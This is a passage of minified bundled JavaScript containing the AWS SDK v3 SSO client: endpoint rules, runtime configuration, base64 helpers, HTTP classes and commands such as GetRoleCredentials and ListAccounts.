0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},og5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},ag5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},sg5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},Ii8=(A)=>{return Object.assign(rg5(A),ag5(A))},tg5=Ii8,eg5=(A)=>{return Object.assign(og5(A),sg5(A))},AF5=(A)=>Array.isArray(A)?A:[A],Si8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=Si8(A[q]);return A},KF5=(A)=>{return A!=null};class hi8{trace(){}debug(){}info(){}warn(){}error(){}}function bi8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,zF5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}xi8(Y,null,w,H)}return Y}var qF5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},YF5=(A,K)=>{let q={};for(let Y in K)xi8(q,A,K,Y);return q},zF5=(A,K,q)=>{return bi8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},xi8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=wF5,O=HF5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},wF5=(A)=>A!=null,HF5=(A)=>A,JF5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},OF5=(A)=>A.toISOString().replace(".000Z","Z"),Va1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(Va1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=Va1(A[q])}return K}return A};Object.defineProperty(LOA,"collectBody",{enumerable:!0,get:function(){return fa1.collectBody}});Object.defineProperty(LOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return fa1.extendedEncodeURIComponent}});Object.defineProperty(LOA,"resolvedPath",{enumerable:!0,get:function(){return fa1.resolvedPath}});LOA.Client=Ci8;LOA.Command=Na1;LOA.NoOpLogger=hi8;LOA.SENSITIVE_STRING=pg5;LOA.ServiceException=COA;LOA._json=Va1;LOA.convertMap=qF5;LOA.createAggregatedClient=dg5;LOA.decorateServiceException=Ri8;LOA.emitWarningIfUnsupportedVersion=ng5;LOA.getArrayIfSingleItem=AF5;LOA.getDefaultClientConfiguration=tg5;LOA.getDefaultExtensionConfiguration=Ii8;LOA.getValueFromTextNode=Si8;LOA.isSerializableHeaderValue=KF5;LOA.loadConfigsForDefaultMode=ig5;LOA.map=bi8;LOA.resolveDefaultRuntimeConfig=eg5;LOA.serializeDateTime=OF5;LOA.serializeFloat=JF5;LOA.take=YF5;LOA.throwDefaultError=yi8;LOA.withBaseException=cg5;Object.keys(vi8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(LOA,A))Object.defineProperty(LOA,A,{enumerable:!0,get:function(){return vi8[A]}})})});var va1=v((ui8)=>{Object.defineProperty(ui8,"__esModule",{value:!0});ui8.resolveHttpAuthSchemeConfig=ui8.defaultSSOHttpAuthSchemeProvider=ui8.defaultSSOHttpAuthSchemeParametersProvider=void 0;var hF5=aw(),Ta1=WD(),bF5=async(A,K,q)=>{return{operation:(0,Ta1.getSmithyContext)(K).operation,region:await(0,Ta1.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};ui8.defaultSSOHttpAuthSchemeParametersProvider=bF5;function xF5(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"awsssoportal",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function f81(A){return{schemeId:"smithy.api#noAuth"}}var uF5=(A)=>{let K=[];switch(A.operation){case"GetRoleCredentials":{K.push(f81(A));break}case"ListAccountRoles":{K.push(f81(A));break}case"ListAccounts":{K.push(f81(A));break}case"Logout":{K.push(f81(A));break}default:K.push(xF5(A))}return K};ui8.defaultSSOHttpAuthSchemeProvider=uF5;var BF5=(A)=>{let K=(0,hF5.resolveAwsSdkSigV4Config)(A);return Object.assign(K,{authSchemePreference:(0,Ta1.normalizeProvider)(A.authSchemePreference??[])})};ui8.resolveHttpAuthSchemeConfig=BF5});var mi8=v((pez,FF5)=>{FF5.exports={name:"@aws-sdk/client-sso",description:"AWS SDK for JavaScript Sso Client for Node.js, Browser and React Native",version:"3.936.0",scripts:{build:"concurrently 'yarn:build:cjs' 'yarn:build:es' 'yarn:build:types'","build:cjs":"node ../../scripts/compilation/inline client-sso","build:es":"tsc -p tsconfig.es.json","build:include:deps":"lerna run --scope $npm_package_name --include-dependencies build","build:types":"tsc -p tsconfig.types.json","build:types:downlevel":"downlevel-dts dist-types dist-types/ts3.4",clean:"rimraf ./dist-* && rimraf *.tsbuildinfo","extract:docs":"api-extractor run --local","generate:client":"node ../../scripts/generate-clients/single-service --solo sso"},main:"./dist-cjs/index.js",types:"./dist-types/index.d.ts",module:"./dist-es/index.js",sideEffects:!1,dependencies:{"@aws-crypto/sha256-browser":"5.2.0","@aws-crypto/sha256-js":"5.2.0","@aws-sdk/core":"3.936.0","@aws-sdk/middleware-host-header":"3.936.0","@aws-sdk/middleware-logger":"3.936.0","@aws-sdk/middleware-recursion-detection":"3.936.0","@aws-sdk/middleware-user-agent":"3.936.0","@aws-sdk/region-config-resolver":"3.936.0","@aws-sdk/types":"3.936.0","@aws-sdk/util-endpoints":"3.936.0","@aws-sdk/util-user-agent-browser":"3.936.0","@aws-sdk/util-user-agent-node":"3.936.0","@smithy/config-resolver":"^4.4.3","@smithy/core":"^3.18.5","@smithy/fetch-http-handler":"^5.3.6","@smithy/hash-node":"^4.2.5","@smithy/invalid-dependency":"^4.2.5","@smithy/middleware-content-length":"^4.2.5","@smithy/middleware-endpoint":"^4.3.12","@smithy/middleware-retry":"^4.4.12","@smithy/middleware-serde":"^4.2.6","@smithy/middleware-stack":"^4.2.5","@smithy/node-config-provider":"^4.3.5","@smithy/node-http-handler":"^4.4.5","@smithy/protocol-http":"^5.3.5","@smithy/smithy-client":"^4.9.8","@smithy/types":"^4.9.0","@smithy/url-parser":"^4.2.5","@smithy/util-base64":"^4.3.0","@smithy/util-body-length-browser":"^4.2.0","@smithy/util-body-length-node":"^4.2.1","@smithy/util-defaults-mode-browser":"^4.3.11","@smithy/util-defaults-mode-node":"^4.2.14","@smithy/util-endpoints":"^3.2.5","@smithy/util-middleware":"^4.2.5","@smithy/util-retry":"^4.2.5","@smithy/util-utf8":"^4.2.0",tslib:"^2.6.2"},devDependencies:{"@tsconfig/node18":"18.2.4","@types/node":"^18.19.69",concurrently:"7.0.0","downlevel-dts":"0.10.1",rimraf:"3.0.2",typescript:"~5.8.3"},engines:{node:">=18.0.0"},typesVersions:{"<4.0":{"dist-types/*":["dist-types/ts3.4/*"]}},files:["dist-*/**"],author:{name:"AWS SDK for JavaScript Team",url:"https://aws.amazon.com/javascript/"},license:"Apache-2.0",browser:{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.browser"},"react-native":{"./dist-es/runtimeConfig":"./dist-es/runtimeConfig.native"},homepage:"https://github.com/aws/aws-sdk-js-v3/tree/main/clients/client-sso",repository:{type:"git",url:"https://github.com/aws/aws-sdk-js-v3.git",directory:"clients/client-sso"}}});var gi8=v((UF5)=>{var QF5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";UF5.isArrayBuffer=QF5});var ka1=v((iF5)=>{var dF5=gi8(),Ea1=CA("buffer"),cF5=(A,K=0,q=A.byteLength-K)=>{if(!dF5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Ea1.Buffer.from(A,K,q)},lF5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Ea1.Buffer.from(A,K):Ea1.Buffer.from(A)};iF5.fromArrayBuffer=cF5;iF5.fromString=lF5});var Ui8=v((Fi8)=>{Object.defineProperty(Fi8,"__esModule",{value:!0});Fi8.fromBase64=void 0;var oF5=ka1(),aF5=/^[A-Za-z0-9+/]*={0,2}$/,sF5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!aF5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,oF5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};Fi8.fromBase64=sF5});var ci8=v((pi8)=>{Object.defineProperty(pi8,"__esModule",{value:!0});pi8.toBase64=void 0;var tF5=ka1(),eF5=_z(),AQ5=(A)=>{let K;if(typeof A==="string")K=(0,eF5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,tF5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};pi8.toBase64=AQ5});var ni8=v((OLA)=>{var li8=Ui8(),ii8=ci8();Object.keys(li8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(OLA,A))Object.defineProperty(OLA,A,{enumerable:!0,get:function(){return li8[A]}})});Object.keys(ii8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(OLA,A))Object.defineProperty(OLA,A,{enumerable:!0,get:function(){return ii8[A]}})})});var $n8=v((On8)=>{Object.defineProperty(On8,"__esModule",{value:!0});On8.ruleSet=void 0;var zn8="required",wk="fn",Hk="argv",IOA="ref",ri8=!0,oi8="isSet",XLA="booleanEquals",ROA="error",yOA="endpoint",qQ="tree",Ca1="PartitionResult",La1="getAttr",ai8={[zn8]:!1,type:"string"},si8={[zn8]:!0,default:!1,type:"boolean"},ti8={[IOA]:"Endpoint"},wn8={[wk]:XLA,[Hk]:[{[IOA]:"UseFIPS"},!0]},Hn8={[wk]:XLA,[Hk]:[{[IOA]:"UseDualStack"},!0]},zk={},ei8={[wk]:La1,[Hk]:[{[IOA]:Ca1},"supportsFIPS"]},Jn8={[IOA]:Ca1},An8={[wk]:XLA,[Hk]:[!0,{[wk]:La1,[Hk]:[Jn8,"supportsDualStack"]}]},Kn8=[wn8],qn8=[Hn8],Yn8=[{[IOA]:"Region"}],KQ5={version:"1.0",parameters:{Region:ai8,UseDualStack:si8,UseFIPS:si8,Endpoint:ai8},rules:[{conditions:[{[wk]:oi8,[Hk]:[ti8]}],rules:[{conditions:Kn8,error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:ROA},{conditions:qn8,error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:ROA},{endpoint:{url:ti8,properties:zk,headers:zk},type:yOA}],type:qQ},{conditions:[{[wk]:oi8,[Hk]:Yn8}],rules:[{conditions:[{[wk]:"aws.partition",[Hk]:Yn8,assign:Ca1}],rules:[{conditions:[wn8,Hn8],rules:[{conditions:[{[wk]:XLA,[Hk]:[ri8,ei8]},An8],rules:[{endpoint:{url:"https://portal.sso-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:zk,headers:zk},type:yOA}],type:qQ},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:ROA}],type:qQ},{conditions:Kn8,rules:[{conditions:[{[wk]:XLA,[Hk]:[ei8,ri8]}],rules:[{conditions:[{[wk]:"stringEquals",[Hk]:[{[wk]:La1,[Hk]:[Jn8,"name"]},"aws-us-gov"]}],endpoint:{url:"https://portal.sso.{Region}.amazonaws.com",properties:zk,headers:zk},type:yOA},{endpoint:{url:"https://portal.sso-fips.{Region}.{PartitionResult#dnsSuffix}",properties:zk,headers:zk},type:yOA}],type:qQ},{error:"FIPS is enabled but this partition does not support FIPS",type:ROA}],type:qQ},{conditions:qn8,rules:[{conditions:[An8],rules:[{endpoint:{url:"https://portal.sso.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:zk,headers:zk},type:yOA}],type:qQ},{error:"DualStack is enabled but this partition does not support DualStack",type:ROA}],type:qQ},{endpoint:{url:"https://portal.sso.{Region}.{PartitionResult#dnsSuffix}",properties:zk,headers:zk},type:yOA}],type:qQ}],type:qQ},{error:"Invalid Configuration: Missing Region",type:ROA}]};On8.ruleSet=KQ5});var Zn8=v((_n8)=>{Object.defineProperty(_n8,"__esModule",{value:!0});_n8.defaultEndpointResolver=void 0;var qQ5=gb(),Ra1=Ky(),YQ5=$n8(),zQ5=new Ra1.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),wQ5=(A,K={})=>{return zQ5.get(A,()=>(0,Ra1.resolveEndpoint)(YQ5.ruleSet,{endpointParams:A,logger:K.logger}))};_n8.defaultEndpointResolver=wQ5;Ra1.customEndpointFunctions.aws=qQ5.awsEndpointFunctions});var Pn8=v((jn8)=>{Object.defineProperty(jn8,"__esModule",{value:!0});jn8.getRuntimeConfig=void 0;var HQ5=aw(),JQ5=eF(),OQ5=Gz(),XQ5=JLA(),$Q5=tE(),Wn8=ni8(),Dn8=_z(),_Q5=va1(),GQ5=Zn8(),ZQ5=(A)=>{return{apiVersion:"2019-06-10",base64Decoder:A?.base64Decoder??Wn8.fromBase64,base64Encoder:A?.base64Encoder??Wn8.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??GQ5.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??_Q5.defaultSSOHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new HQ5.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new OQ5.NoAuthSigner}],logger:A?.logger??new XQ5.NoOpLogger,protocol:A?.protocol??new JQ5.AwsRestJsonProtocol({defaultNamespace:"com.amazonaws.sso"}),serviceId:A?.serviceId??"SSO",urlParser:A?.urlParser??$Q5.parseUrl,utf8Decoder:A?.utf8Decoder??Dn8.fromUtf8,utf8Encoder:A?.utf8Encoder??Dn8.toUtf8}};jn8.getRuntimeConfig=ZQ5});var kn8=v((vn8)=>{Object.defineProperty(vn8,"__esModule",{value:!0});vn8.getRuntimeConfig=void 0;var WQ5=Uz(),DQ5=WQ5.__importDefault(mi8()),Vn8=aw(),fn8=oF(),N81=l0(),jQ5=aF(),Nn8=kZ(),z8A=NV(),Tn8=zT(),MQ5=sF(),PQ5=db(),VQ5=Pn8(),fQ5=JLA(),NQ5=KQ(),TQ5=JLA(),vQ5=(A)=>{(0,TQ5.emitWarningIfUnsupportedVersion)(process.version);let K=(0,NQ5.resolveDefaultsModeConfig)(A),q=()=>K().then(fQ5.loadConfigsForDefaultMode),Y=(0,VQ5.getRuntimeConfig)(A);(0,Vn8.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,z8A.loadConfig)(Vn8.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??MQ5.calculateBodyLength,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,fn8.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:DQ5.default.version}),maxAttempts:A?.maxAttempts??(0,z8A.loadConfig)(Nn8.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,z8A.loadConfig)(N81.NODE_REGION_CONFIG_OPTIONS,{...N81.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:Tn8.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,z8A.loadConfig)({...Nn8.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||PQ5.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??jQ5.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??Tn8.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,z8A.loadConfig)(N81.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,z8A.loadConfig)(N81.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,z8A.loadConfig)(fn8.NODE_APP_ID_CONFIG_OPTIONS,z)}};vn8.getRuntimeConfig=vQ5});var yn8=v((yQ5)=>{var EQ5=Da1(),kQ5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},CQ5=(A)=>{return{httpHandler:A.httpHandler()}};class Cn8{name;kind;values;constructor({name:A,kind:K=EQ5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Ln8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class T81{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new T81({...A,headers:{...A.headers}});if(K.query)K.query=LQ5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return T81.clone(this)}}function LQ5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class Rn8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function RQ5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}yQ5.Field=Cn8;yQ5.Fields=Ln8;yQ5.HttpRequest=T81;yQ5.HttpResponse=Rn8;yQ5.getHttpHandlerExtensionConfiguration=kQ5;yQ5.isValidHostname=RQ5;yQ5.resolveHttpHandlerRuntimeConfig=CQ5});var in8=v((ha1)=>{var In8=BF(),mQ5=mF(),gQ5=gF(),Sn8=Ub(),FQ5=l0(),$LA=Gz(),SOA=DJ(),QQ5=rF(),_LA=qy(),hn8=kZ(),Hy=JLA(),bn8=va1(),UQ5=kn8(),xn8=Yy(),un8=yn8(),pQ5=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"awsssoportal"})},v81={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},dQ5=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}},cQ5=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}},lQ5=(A,K)=>{let q=Object.assign(xn8.getAwsRegionExtensionConfiguration(A),Hy.getDefaultExtensionConfiguration(A),un8.getHttpHandlerExtensionConfiguration(A),dQ5(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,xn8.resolveAwsRegionExtensionConfiguration(q),Hy.resolveDefaultRuntimeConfig(q),un8.resolveHttpHandlerRuntimeConfig(q),cQ5(q))};class GLA extends Hy.Client{config;constructor(...[A]){let K=UQ5.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=pQ5(K),Y=Sn8.resolveUserAgentConfig(q),z=hn8.resolveRetryConfig(Y),w=FQ5.resolveRegionConfig(z),H=In8.resolveHostHeaderConfig(w),J=_LA.resolveEndpointConfig(H),O=bn8.resolveHttpAuthSchemeConfig(J),X=lQ5(O,A?.extensions||[]);this.config=X,this.middlewareStack.use(SOA.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(Sn8.getUserAgentPlugin(this.config)),this.middlewareStack.use(hn8.getRetryPlugin(this.config)),this.middlewareStack.use(QQ5.getContentLengthPlugin(this.config)),this.middlewareStack.use(In8.getHostHeaderPlugin(this.config)),this.middlewareStack.use(mQ5.getLoggerPlugin(this.config)),this.middlewareStack.use(gQ5.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use($LA.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:bn8.defaultSSOHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new $LA.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use($LA.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var hOA=class A extends Hy.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},Bn8=class A extends hOA{name="InvalidRequestException";$fault="client";constructor(K){super({name:"InvalidRequestException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},mn8=class A extends hOA{name="ResourceNotFoundException";$fault="client";constructor(K){super({name:"ResourceNotFoundException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},gn8=class A extends hOA{name="TooManyRequestsException";$fault="client";constructor(K){super({name:"TooManyRequestsException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Fn8=class A extends hOA{name="UnauthorizedException";$fault="client";constructor(K){super({name:"UnauthorizedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},iQ5="AccountInfo",nQ5="AccountListType",rQ5="AccessTokenType",oQ5="GetRoleCredentials",aQ5="GetRoleCredentialsRequest",sQ5="GetRoleCredentialsResponse",tQ5="InvalidRequestException",eQ5="Logout",AU5="ListAccounts",KU5="ListAccountsRequest",qU5="ListAccountRolesRequest",YU5="ListAccountRolesResponse",zU5="ListAccountsResponse",wU5="ListAccountRoles",HU5="LogoutRequest",JU5="RoleCredentials",OU5="RoleInfo",XU5="RoleListType",$U5="ResourceNotFoundException",_U5="SecretAccessKeyType",GU5="SessionTokenType",ZU5="TooManyRequestsException",WU5="UnauthorizedException",E81="accountId",DU5="accessKeyId",jU5="accountList",MU5="accountName",k81="accessToken",Qn8="account_id",C81="client",L81="error",PU5="emailAddress",VU5="expiration",R81="http",y81="httpError",I81="httpHeader",w8A="httpQuery",S81="message",Un8="maxResults",pn8="max_result",h81="nextToken",dn8="next_token",fU5="roleCredentials",NU5="roleList",cn8="roleName",TU5="role_name",ln8="smithy.ts.sdk.synthetic.com.amazonaws.sso",vU5="secretAccessKey",EU5="sessionToken",b81="x-amz-sso_bearer_token",Zw="com.amazonaws.sso",x81=[0,Zw,rQ5,8,0],kU5=[0,Zw,_U5,8,0],CU5=[0,Zw,GU5,8,0],LU5=[3,Zw,iQ5,0,[E81,MU5,PU5],[0,0,0]],RU5=[3,Zw,aQ5,0,[cn8,E81,k81],[[0,{[w8A]:TU5}],[0,{[w8A]:Qn8}],[()=>x81,{[I81]:b81}]]],yU5=[3,Zw,sQ5,0,[fU5],[[()=>mU5,0]]],IU5=[-3,Zw,tQ5,{[L81]:C81,[y81]:400},[S81],[0]];SOA.TypeRegistry.for(Zw).registerError(IU5,Bn8);var SU5=[3,Zw,qU5,0,[h81,Un8,k81,E81],[[0,{[w8A]:dn8}],[1,{[w8A]:pn8}],[()=>x81,{[I81]:b81}],[0,{[w8A]:Qn8}]]],hU5=[3,Zw,YU5,0,[h81,NU5],[0,()=>cU5]],bU5=[3,Zw,KU5,0,[h81,Un8,k81],[[0,{[w8A]:dn8}],[1,{[w8A]:pn8}],[()=>x81,{[I81]:b81}]]],xU5=[3,Zw,zU5,0,[h81,jU5],[0,()=>dU5]],uU5=[3,Zw,HU5,0,[k81],[[()=>x81,{[I81]:b81}]]],BU5=[-3,Zw,$U5,{[L81]:C81,[y81]:404},[S81],[0]];SOA.TypeRegistry.for(Zw).registerError(BU5,mn8);var mU5=[3,Zw,JU5,0,[DU5,vU5,EU5,VU5],[0,[()=>kU5,0],[()=>CU5,0],1]],gU5=[3,Zw,OU5,0,[cn8,E81],[0,0]],FU5=[-3,Zw,ZU5,{[L81]:C81,[y81]:429},[S81],[0]];SOA.TypeRegistry.for(Zw).registerError(FU5,gn8);var QU5=[-3,Zw,WU5,{[L81]:C81,[y81]:401},[S81],[0]];SOA.TypeRegistry.for(Zw).registerError(QU5,Fn8);var UU5="unit",pU5=[-3,ln8,"SSOServiceException",0,[],[]];SOA.TypeRegistry.for(ln8).registerError(pU5,hOA);var dU5=[1,Zw,nQ5,0,()=>LU5],cU5=[1,Zw,XU5,0,()=>gU5],lU5=[9,Zw,oQ5,{[R81]:["GET","/federation/credentials",200]},()=>RU5,()=>yU5],iU5=[9,Zw,wU5,{[R81]:["GET","/assignment/roles",200]},()=>SU5,()=>hU5],nU5=[9,Zw,AU5,{[R81]:["GET","/assignment/accounts",200]},()=>bU5,()=>xU5],rU5=[9,Zw,eQ5,{[R81]:["POST","/logout",200]},()=>uU5,()=>UU5];class ya1 extends Hy.Command.classBuilder().ep(v81).m(function(A,K,q,Y){return[_LA.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("SWBPortalService","GetRoleCredentials",{}).n("SSOClient","GetRoleCredentialsCommand").sc(lU5).build(){}class u81 extends Hy.Command.classBuilder().ep(v81).m(function(A,K,q,Y){return[_LA.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("SWBPortalService","ListAccountRoles",{}).n("SSOClient","ListAccountRolesCommand").sc(iU5).build(){}class B81 extends Hy.Command.classBuilder().ep(v81).m(function(A,K,q,Y){return[_LA.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("SWBPortalService","ListAccounts",{}).n("SSOClient","ListAccountsCommand").sc(nU5).build(){}class Ia1 extends Hy.Command.classBuilder().ep(v81).m(function(A,K,q,Y){return[_LA.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("SWBPortalService","Logout",{}).n("SSOClient","LogoutCommand").sc(rU5).build(){}var oU5={GetRoleCredentialsCommand:ya1,ListAccountRolesCommand:u81,ListAccountsCommand:B81,LogoutCommand:Ia1};class Sa1 extends GLA{}Hy.createAggregatedClient(oU5,Sa1);var aU5=$LA.createPaginator(GLA,u81,"nextToken","nextToken","maxResults"),sU5=$LA.createPaginator(GLA,B81,"nextToken","nextToken","maxResults");Object.defineProperty(ha1,"$Command",{enumerable:!0,get:function(){return Hy.Command}});Object.defineProperty(ha1,"__Client",{enumerable:!0,get:function(){return Hy.Client}});ha1.GetRoleCredentialsCommand=ya1;ha1.InvalidRequestException=Bn8;ha1.ListAccountRolesCommand=u81;ha1.ListAccountsCommand=B81;ha1.LogoutCommand=Ia1;ha1.ResourceNotFoundException=mn8;ha1.SSO=Sa1;ha1.SSOClient=GLA;ha1.SSOServiceException=hOA;ha1.TooManyRequestsException=gn8;ha1.UnauthorizedException=Fn8;ha1.paginateListAccountRoles=aU5;ha1.paginateListAccounts=sU5});var rn8=v((ba1)=>{var nn8=in8();Object.defineProperty(ba1,"GetRoleCredentialsCommand",{enumerable:!0,get:function(){return nn8.GetRoleCredentialsCommand}});Object.defineProperty(ba1,"SSOClient",{enumerable:!0,get:function(){return nn8.SSOClient}})});var g81=v((Zp5)=>{var Jy=dX(),m81=pb(),on8=fV(),_p5=V81(),sn8=(A)=>A&&(typeof A.sso_start_url==="string"||typeof A.sso_account_id==="string"||typeof A.sso_session==="string"||typeof A.sso_region==="string"||typeof 